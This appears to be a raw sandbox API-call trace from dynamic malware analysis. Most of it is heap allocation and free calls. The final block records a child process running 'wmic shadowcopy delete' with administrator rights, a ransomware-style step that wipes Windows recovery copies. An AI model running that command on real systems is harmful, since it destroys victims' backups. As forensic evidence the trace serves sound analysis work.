	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fb40) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fb60) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fde0) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ffe0) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ff60) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870020) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f9a0) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ff20) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286faa0) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f920) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ff40) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ff80) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fc00) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fee0) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f9c0) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fa40) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fec0) returned 1
	[0249.332] GetProcessHeap () returned 0x1fa72860000
	[0249.332] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fc20) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fc80) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fc40) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ff00) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fbc0) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870040) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ffa0) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fa60) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fc60) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286ffc0) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fd60) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870000) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fb80) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fd00) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fe20) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fdc0) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fa00) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.333] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f8c0) returned 1
	[0249.333] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fe00) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fac0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f940) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f8e0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fae0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fcc0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f900) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fd40) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fca0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fba0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f960) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f9e0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286f980) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fa20) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fa80) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fb00) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fd80) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fbe0) returned 1
	[0249.334] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fb20) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fce0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fd20) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fda0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fe40) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fe60) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7286fe80) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728705f0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870850) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728708d0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870b70) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870870) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870690) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728708b0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728704f0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728709f0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870a90) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728706f0) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870530) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.335] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870610) returned 1
	[0249.335] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728709b0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728707f0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728705d0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870a30) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870550) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870950) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728708f0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728707d0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870910) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870bb0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870710) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728704d0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870a50) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870930) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870a70) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870570) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870830) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870890) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728709d0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870ad0) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.336] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870730) returned 1
	[0249.336] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870590) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870750) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870770) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728706d0) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870790) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870ab0) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870970) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870990) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870a10) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728706b0) returned 1
	[0249.337] GetProcessHeap () returned 0x1fa72860000
	[0249.337] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870bf0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870470) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728705b0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870af0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870b10) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870bd0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870b30) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870510) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870630) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728707b0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870b50) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870650) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870b90) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870490) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728704b0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870670) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870810) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870e60) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728711a0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870d40) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871000) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728712a0) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.343] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870c80) returned 1
	[0249.343] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870ca0) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870d20) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870e20) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871060) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870f20) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870d00) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870fe0) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870f00) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870e00) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728712e0) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870cc0) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870d60) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870ce0) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870f40) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728712c0) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871280) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870d80) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871300) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870f60) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72870f80) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871320) returned 1
	[0249.344] GetProcessHeap () returned 0x1fa72860000
	[0249.344] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728710e0) returned 1
	[0249.344] FreeLibrary (hLibModule=0x7ff84d380000) returned 1
	[0249.345] exit (_Code=0) 

Thread:
	id = 104
	os_tid = 0xdc8


Thread:
	id = 106
	os_tid = 0xdd0


Thread:
	id = 212
	os_tid = 0xe6c

	[0248.319] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1fa728b54d0
	[0248.319] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1fa728c03c0
	[0248.319] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1fa728c0210
	[0248.319] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1fa728be160
	[0248.319] LocalFree (hMem=0x1fa728b54d0) returned 0x0
	[0248.319] LocalFree (hMem=0x1fa728be160) returned 0x0
	[0248.319] LocalFree (hMem=0x1fa728c0210) returned 0x0
	[0248.319] LocalFree (hMem=0x1fa728c03c0) returned 0x0

Thread:
	id = 213
	os_tid = 0xe74

	[0248.090] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1fa728b54d0
	[0248.090] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1fa728bffa0
	[0248.090] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x1fa728c86a0
	[0248.091] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1fa728bee20
	[0248.091] LocalReAlloc (hMem=0x1fa728c86a0, uBytes=0x20, uFlags=0x2) returned 0x1fa728bd420
	[0248.091] LocalFree (hMem=0x1fa728b54d0) returned 0x0
	[0248.091] LocalFree (hMem=0x1fa728bee20) returned 0x0
	[0248.091] LocalFree (hMem=0x1fa728bd420) returned 0x0
	[0248.091] LocalFree (hMem=0x1fa728bffa0) returned 0x0

Thread:
	id = 214
	os_tid = 0xe78


Process:
	id = "20"
	image_name = "wmic.exe"
	filename = "c:\\windows\\system32\\wbem\\wmic.exe"
	page_root = "0xe4a1000"
	os_pid = "0xde0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xd5c"
	cmd_line = "wmic  shadowcopy delete"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


